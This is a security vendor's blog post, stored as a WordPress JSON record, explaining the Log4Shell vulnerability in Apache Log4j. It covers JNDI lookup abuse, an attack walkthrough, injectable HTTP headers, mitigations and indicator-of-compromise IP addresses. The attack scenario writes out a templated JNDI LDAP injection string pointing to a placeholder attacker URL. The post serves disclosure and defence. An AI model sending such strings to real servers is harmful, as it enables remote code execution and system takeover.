{"id":90781,"date":"2022-05-10T16:10:09","date_gmt":"2022-05-10T10:40:09","guid":{"rendered":"https:\/\/blogs.quickheal.com\/?p=90781"},"modified":"2023-10-17T15:25:10","modified_gmt":"2023-10-17T09:55:10","slug":"critical-zero-day-log4shell-vulnerability-cve-2021-44228-exploited-in-the-wild","status":"publish","type":"post","link":"https:\/\/www.quickheal.com\/blogs\/critical-zero-day-log4shell-vulnerability-cve-2021-44228-exploited-in-the-wild\/","title":{"rendered":"Critical Zero-Day \u201cLog4Shell\u201d Vulnerability \u201cCVE-2021-44228\u201d Exploited in the Wild"},"content":{"rendered":"<p>On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named &#8220;Log4Shell&#8221; in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems.<\/p>\n<p>Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used in many applications on various operating systems (like Windows, Linux, MAC, etc.) impacts all versions from 2.0-beta9 to 2.14.1. Threat actors have widely exploited Log4J to scan the internet-facing servers to identify vulnerable servers.<\/p>\n<p>It is a high-profile security vulnerability with a severity score of 10, the max severity rating possible, and one of the most critical vulnerabilities ever due to its ease of exploitation and the number of affected enterprise applications and cloud services.<\/p>\n<h3><strong><b>What is Log4Shell Vulnerability? <\/b><\/strong><\/h3>\n<p>The Java Naming and Directory Interface (JNDI) used by Log4j to lookup supported services and protocols such as LDAP, DNS, RMI, NIS, NDS, CORBA, and IIOP allows for helpful information to be remotely retrieved. On a vulnerable Log4J system, the attacker who can control log messages or parameters can execute arbitrary code loaded from LDAP or supported services while message lookup substitution is enabled.<\/p>\n<p>An unauthenticated, remote attacker could exploit it by sending a specially crafted JNDI injection in the simple HTTP request to a vulnerable log4j serve. Once the request is processed, log4j loads the JNDI resources from the server (i.e., LDAP) controlled by attackers that loaded payload could be malicious &amp; include shell script or Java class file to the targeted system. Successful exploitation could lead to arbitrary code execution, and the attacker can take complete control of the compromised system.<\/p>\n<p>The vulnerability was discovered on 24th Nov-21, first exploitation was observed on 1st Dec-21. After the initial fix patch, further other vulnerabilities, CVE-2021-45046 (remote code execution) &amp; CVE-2021-45105 (denial-of-service) identified; are fixed in subsequent versions.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90777 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image1.png\" alt=\"\" width=\"601\" height=\"195\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image1.png 601w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image1-300x97.png 300w\" sizes=\"(max-width: 601px) 100vw, 601px\" \/><\/p>\n<h3><strong><b>Log4Shell Exploit Explanation <\/b><\/strong><\/h3>\n<p>In the <strong><b>standard scenario<\/b><\/strong>, HTTP requests would be logged by the log4j utility at the server for debugging or another purpose whenever log analysis is required.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90771 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image2.png\" alt=\"\" width=\"602\" height=\"310\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image2.png 602w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image2-300x154.png 300w\" sizes=\"(max-width: 602px) 100vw, 602px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>In an <strong><b>attack scenario<\/b><\/strong>, the Log4Shell could be exploited by an unauthenticated, remote attacker with JNDI payload in a simple HTTP request on a server with vulnerable log4j.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90772 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image3.png\" alt=\"\" width=\"625\" height=\"330\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image3.png 625w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image3-300x158.png 300w\" sizes=\"(max-width: 625px) 100vw, 625px\" \/><\/p>\n<p>JDNI lookup would look like as below, where JNDI will try to fetch the payload from attackers-URL that would compromise the targeted server.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-90810\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image8.png\" alt=\"\" width=\"278\" height=\"39\" \/><\/p>\n<h3><strong>\u00a0Attack scenario<\/strong><\/h3>\n<ol>\n<li>Attacker sends crafted HTTP request with jndi LDAP string &#8220;${jndi[:]ldap[:]\/\/attackers-url&gt;\/&lt;payload&gt;}&#8221; in user agent header to target server.<\/li>\n<li>Targeting the server with vulnerable log4j logs and processing the JNDI LDAP string results in an LDAP query to the attacker\u2019s malicious LDAP server.<\/li>\n<li>Attacker\u2019s LDAP server response with directory information with a malicious payload like java class or shellcode location.<\/li>\n<li>Malicious payload like java class file or shellcode download is requested and further executed at the targeted system, which may lead to arbitrary code execution &amp; full compromise of the victim system.<\/li>\n<\/ol>\n<p>Attackers use various techniques in JNDI supported payloads like below using other protocols, encoding, obfuscation etc., to bypass the common detections by network security products.<i><\/i><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-90818\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image10-1.png\" alt=\"\" width=\"557\" height=\"214\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image10-1.png 557w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image10-1-300x115.png 300w\" sizes=\"(max-width: 557px) 100vw, 557px\" \/><\/p>\n<h3><strong><b>Network traffic examples<\/b><\/strong><\/h3>\n<ol>\n<li>In the below snapshot, the HTTP Get request contains a URL encoded JNDI LDAP with a base64 encoded payload.<\/li>\n<\/ol>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90773 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image4.png\" alt=\"\" width=\"601\" height=\"195\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image4.png 601w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image4-300x97.png 300w\" sizes=\"(max-width: 601px) 100vw, 601px\" \/><\/p>\n<p>2. In the User-Agent HTTP header, a simple JNDI LDAP string connects to a malicious URL.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90774 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image5.png\" alt=\"\" width=\"568\" height=\"161\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image5.png 568w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image5-300x85.png 300w\" sizes=\"(max-width: 568px) 100vw, 568px\" \/><\/p>\n<p>3. Here \u00a0X-API-Version header contains obfuscation (bypass techniques) jndi Ldap string with base64 encoded payload<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90775 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image6.png\" alt=\"\" width=\"568\" height=\"191\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image6.png 568w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image6-300x101.png 300w\" sizes=\"(max-width: 568px) 100vw, 568px\" \/><\/p>\n<p>The crafted JNDI string can be sent via URL or some of many HTTP headers listed below:<\/p>\n<ul>\n<li>User-Agent<\/li>\n<li>Authorisation<\/li>\n<li>Cookie<\/li>\n<li>Accept-Language<\/li>\n<li>From<\/li>\n<li>X-API-Version<\/li>\n<li>X-Host<\/li>\n<li>Referer<\/li>\n<\/ul>\n<p><strong><b>Mitigations:<\/b><\/strong><\/p>\n<ul>\n<li>Immediately update to the latest Apache <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/download.html\"><u>Log4j version<\/u><\/a>.<\/li>\n<li>Please refer to\u00a0the Advisories\n<ul>\n<li><a href=\"https:\/\/blogs.quickheal.com\/cve-2021-44228-new-apache-log4j-log4shell-zero-day-being-exploited-in-the-wild\/\"><u>Quick Heal Advisory<\/u><\/a><\/li>\n<li><a href=\"https:\/\/www.seqrite.com\/blog\/cve-2021-44228-new-apache-log4j-log4shell-zero-day-being-exploited-in-the-wild\/\"><u>Seqrite Advisory<\/u><\/a><\/li>\n<\/ul>\n<\/li>\n<li>Update the Network security and endpoints with the latest definitions.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><strong><b>How does Quick Heal protect its customers?<\/b><\/strong><\/h3>\n<p><a href=\"https:\/\/www.quickheal.co.in\/\">Quick Heal<\/a> has released Network &amp; End Points rules to identify and block remote attacks exploiting the Log4Shell vulnerability. Also, a detailed Advisory had been shared along with mitigation updates to customers. Below is the Log4Shell detection snapshot in our product.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-90776 aligncenter\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image7.png\" alt=\"\" width=\"378\" height=\"209\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image7.png 378w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image7-300x166.png 300w\" sizes=\"(max-width: 378px) 100vw, 378px\" \/><\/p>\n<p>We are continuing to monitor the developments around this threat. We advise all our customers to patch their systems properly and keep the AV software updated with the latest VDB updates.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><b>Indicator of Compromise (IoCs)<\/b><\/strong><\/p>\n<p><strong><b>\u00a0\u00a0\u00a0IPs<\/b><\/strong><\/p>\n<ul>\n<li><i><\/i><em><i>111[.]28[.]189[.]51<\/i><\/em><\/li>\n<li><i><\/i><em><i>5[.]157[.]38[.]50<\/i><\/em><\/li>\n<li><i><\/i><em><i>175[.]6[.]210[.]66<\/i><\/em><\/li>\n<li><i><\/i><em><i>185[.]128[.]41[.]50<\/i><\/em><\/li>\n<li><i><\/i><em><i>195[.]54[.]160[.]149<\/i><\/em><\/li>\n<li><i><\/i><em><i>221[.]226[.]159[.]22<\/i><\/em><\/li>\n<li><i><\/i><em><i>185[.]220[.]100[.]244<\/i><\/em><\/li>\n<li><i><\/i><em><i>5[.]183[.]209[.]217<\/i><\/em><\/li>\n<li><i><\/i><em><i>171[.]25[.]193[.]25<\/i><\/em><\/li>\n<li><i><\/i><em><i>81[.]17[.]18[.]58<\/i><\/em><\/li>\n<li><i><\/i><em><i>46[.]232[.]251[.]191<\/i><\/em><\/li>\n<li><i><\/i><em><i>104[.]244[.]72[.]115<\/i><\/em><\/li>\n<li><i><\/i><em><i>109[.]70[.]100[.]34<\/i><\/em><\/li>\n<li><i><\/i><em><i>185[.]38[.]175[.]132<\/i><\/em><\/li>\n<li><i><\/i><em><i>185[.]170[.]114[.]25<\/i><\/em><\/li>\n<li><i><\/i><em><i>45[.]153[.]160[.]129<\/i><\/em><\/li>\n<li><i><\/i><em><i>89[.]234[.]157[.]254<\/i><\/em><\/li>\n<li><i><\/i><em><i>5[.]2[.]72[.]124<\/i><\/em><\/li>\n<li><i><\/i><em><i>192[.]42[.]116[.]16<\/i><\/em><\/li>\n<\/ul>\n<p><strong><b>\u00a0<\/b><\/strong><\/p>\n<p><strong><b>Network Indicators\u00a0<\/b><\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-90820\" src=\"https:\/\/blogs.quickheal.com\/wp-content\/uploads\/2022\/05\/image11.png\" alt=\"\" width=\"617\" height=\"353\" srcset=\"https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image11.png 617w, https:\/\/www.quickheal.com\/blogs\/wp-content\/uploads\/2022\/05\/image11-300x172.png 300w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Subject Matter Expert<\/strong><\/p>\n<p>Amruta Wagh<\/p>\n<p>Shiv Mohan<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On December 9, 2021, Apache revealed a severe Remote code execution vulnerability CVE-2021-44228 named &#8220;Log4Shell&#8221; in Apache Java-based log4J logging utility. Threat actors used the utility to execute arbitrary code and take complete control of systems. Apache Log4j is an open-source Java-based utility widely used by cloud and enterprise software services for logging. Being used [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":90824,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1739,24,1,1395],"tags":[1904,1887,1903,1969],"class_list":["post-90781","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","category-malware","category-uncategorized","category-vulnerability","tag-cve-2021-44228","tag-log4j","tag-zerodayvulnerability","tag-log4sheel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/90781"}],"collection":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/comments?post=90781"}],"version-history":[{"count":35,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/90781\/revisions"}],"predecessor-version":[{"id":91392,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/posts\/90781\/revisions\/91392"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/media\/90824"}],"wp:attachment":[{"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/media?parent=90781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/categories?post=90781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.quickheal.com\/blogs\/wp-json\/wp\/v2\/tags?post=90781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}